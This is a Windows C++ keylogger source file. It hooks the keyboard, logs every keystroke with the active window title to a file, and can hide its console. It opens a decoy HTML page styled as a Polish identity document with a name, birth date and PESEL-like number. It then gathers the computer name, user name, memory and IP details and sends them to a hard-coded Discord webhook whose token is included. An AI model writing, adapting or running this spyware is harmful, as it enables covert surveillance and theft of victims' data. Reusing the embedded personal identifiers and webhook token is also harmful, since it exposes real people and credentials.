#define UNICODE #include #include #include #include #include #include #include #include #include #pragma comment(lib, "wininet.lib") // Configuration #define visible #define bootwait #define FORMAT 0 #define mouseignore // Key names mapping #if FORMAT == 0 const std::map keyname{ {VK_BACK, "[BACKSPACE]" }, {VK_RETURN, "\n" }, {VK_SPACE, "_" }, {VK_TAB, "[TAB]" }, {VK_SHIFT, "[SHIFT]" }, {VK_LSHIFT, "[LSHIFT]" }, {VK_RSHIFT, "[RSHIFT]" }, {VK_CONTROL, "[CONTROL]" }, {VK_LCONTROL, "[LCONTROL]" }, {VK_RCONTROL, "[RCONTROL]" }, {VK_MENU, "[ALT]" }, {VK_LWIN, "[LWIN]" }, {VK_RWIN, "[RWIN]" }, {VK_ESCAPE, "[ESCAPE]" }, {VK_END, "[END]" }, {VK_HOME, "[HOME]" }, {VK_LEFT, "[LEFT]" }, {VK_RIGHT, "[RIGHT]" }, {VK_UP, "[UP]" }, {VK_DOWN, "[DOWN]" }, {VK_PRIOR, "[PG_UP]" }, {VK_NEXT, "[PG_DOWN]" }, {VK_OEM_PERIOD, "." }, {VK_DECIMAL, "." }, {VK_OEM_PLUS, "+" }, {VK_OEM_MINUS, "-" }, {VK_ADD, "+" }, {VK_SUBTRACT, "-" }, {VK_CAPITAL, "[CAPSLOCK]" }, }; #endif HHOOK _hook; KBDLLHOOKSTRUCT kbdStruct; std::ofstream output_file; // Keylogger functions LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam); int Save(int key_stroke); void SetHook(); void ReleaseHook(); void Stealth(); bool IsSystemBooting(); // HTML Display functions void ShowHTMLDocument(); void SendToDiscord(); int main() { Stealth(); #ifdef bootwait while (IsSystemBooting()) { Sleep(10000); } #endif output_file.open("keylogger.log", std::ios_base::app); SetHook(); // Show the HTML document ShowHTMLDocument(); // Send system info to Discord SendToDiscord(); MSG msg; while (GetMessage(&msg, NULL, 0, 0)) { } return 0; } // Keylogger implementation LRESULT __stdcall HookCallback(int nCode, WPARAM wParam, LPARAM lParam) { if (nCode >= 0 && wParam == WM_KEYDOWN) { kbdStruct = *((KBDLLHOOKSTRUCT*)lParam); Save(kbdStruct.vkCode); } return CallNextHookEx(_hook, nCode, wParam, lParam); } int Save(int key_stroke) { std::stringstream output; static char lastwindow[256] = ""; #ifndef mouseignore if ((key_stroke == 1) || (key_stroke == 2)) { return 0; } #endif HWND foreground = GetForegroundWindow(); DWORD threadID; HKL layout = NULL; if (foreground) { threadID = GetWindowThreadProcessId(foreground, NULL); layout = GetKeyboardLayout(threadID); } if (foreground) { char window_title[256]; GetWindowTextA(foreground, (LPSTR)window_title, 256); if (strcmp(window_title, lastwindow) != 0) { strcpy_s(lastwindow, sizeof(lastwindow), window_title); time_t t = time(NULL); struct tm tm_info; localtime_s(&tm_info, &t); char s[64]; strftime(s, sizeof(s), "%FT%X%z", &tm_info); output << "\n\n[Window: " << window_title << " - at " << s << "] "; } } #if FORMAT == 10 output << '[' << key_stroke << ']'; #elif FORMAT == 16 output << std::hex << "[" << key_stroke << ']'; #else if (keyname.find(key_stroke) != keyname.end()) { output << keyname.at(key_stroke); } else { bool lowercase = ((GetKeyState(VK_CAPITAL) & 0x0001) != 0; if ((GetKeyState(VK_SHIFT) & 0x1000) != 0 || (GetKeyState(VK_LSHIFT) & 0x1000) != 0 || (GetKeyState(VK_RSHIFT) & 0x1000) != 0) { lowercase = !lowercase; } char key = MapVirtualKeyExA(key_stroke, MAPVK_VK_TO_CHAR, layout); if (!lowercase) key = tolower(key); output << char(key); } #endif output_file << output.str(); output_file.flush(); std::cout << output.str(); return 0; } void SetHook() { if (!(_hook = SetWindowsHookEx(WH_KEYBOARD_LL, HookCallback, NULL, 0))) { MessageBox(NULL, L"Failed to install hook!", L"Error", MB_ICONERROR); } } void ReleaseHook() { UnhookWindowsHookEx(_hook); } void Stealth() { #ifdef visible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 1); #endif #ifdef invisible ShowWindow(FindWindowA("ConsoleWindowClass", NULL), 0); FreeConsole(); #endif } bool IsSystemBooting() { return GetSystemMetrics(SM_SYSTEMDOCKED) != 0; } // HTML Document Display void ShowHTMLDocument() { const char* html = R"( Dokument Osobisty
Czas:
Imię (imiona)
KAMIL
Nazwisko
RATEJSKI
Obywatelstwo
POLSKIE
Data urodzenia
10.05.2003
Numer PESEL
03251090111
)"; // Create temporary HTML file std::ofstream htmlFile("temp_document.html"); htmlFile << html; htmlFile.close(); // Open in default browser ShellExecuteA(NULL, "open", "temp_document.html", NULL, NULL, SW_SHOWNORMAL); } // Discord Webhook Function void SendToDiscord() { HINTERNET hInternet = InternetOpenA("Discord Webhook", INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0); if (!hInternet) return; // Get system information SYSTEM_INFO sysInfo; GetSystemInfo(&sysInfo); MEMORYSTATUSEX memInfo; memInfo.dwLength = sizeof(MEMORYSTATUSEX); GlobalMemoryStatusEx(&memInfo); char computerName[MAX_COMPUTERNAME_LENGTH + 1]; DWORD size = sizeof(computerName); GetComputerNameA(computerName, &size); char userName[256]; DWORD userNameSize = sizeof(userName); GetUserNameA(userName, &userNameSize); // Get IP information (simplified) char ipInfo[1024] = "Could not retrieve IP info"; HINTERNET hConnect = InternetOpenUrlA(hInternet, "http://ipinfo.io/json", NULL, 0, INTERNET_FLAG_RELOAD, 0); if (hConnect) { DWORD bytesRead; InternetReadFile(hConnect, ipInfo, sizeof(ipInfo) - 1, &bytesRead); ipInfo[bytesRead] = '\0'; InternetCloseHandle(hConnect); } // Prepare JSON payload std::stringstream jsonPayload; jsonPayload << R"({ "embeds": [{ "title": "🚨 System Information Captured", "color": 16711680, "fields": [ {"name": "🖥️ Computer Name", "value": ")" << computerName << R"(", "inline": true}, {"name": "👤 User Name", "value": ")" << userName << R"(", "inline": true}, {"name": "💻 Processor", "value": ")" << sysInfo.dwNumberOfProcessors << R"( cores", "inline": true}, {"name": "🧠 Memory", "value": ")" << (memInfo.ullTotalPhys / (1024 * 1024)) << R"( MB", "inline": true}, {"name": "🌐 IP Information", "value": "```json\n)" << ipInfo << R"(\n```", "inline": false}, {"name": "🕒 Capture Time", "value": ")" << __TIMESTAMP__ << R"(", "inline": true} ], "footer": {"text": "Captured by integrated system | BY BOBEK1337 pozdro !"} }] })"; // Send to Discord webhook HINTERNET hWebhook = InternetOpenUrlA(hInternet, "https://discord.com/api/webhooks/1398310580238028901/RqtqP842lEsByAlS2XrdFP9DB6aqC7QRKOcg2w0NM9FnC0RpxrJ-dhOFo2RyEC_obyie", ("Content-Type: application/json\r\n"), -1L, INTERNET_FLAG_RELOAD | INTERNET_FLAG_SECURE, 0); if (hWebhook) { std::string payload = jsonPayload.str(); InternetWriteFile(hWebhook, payload.c_str(), payload.length(), &size); InternetCloseHandle(hWebhook); } InternetCloseHandle(hInternet); }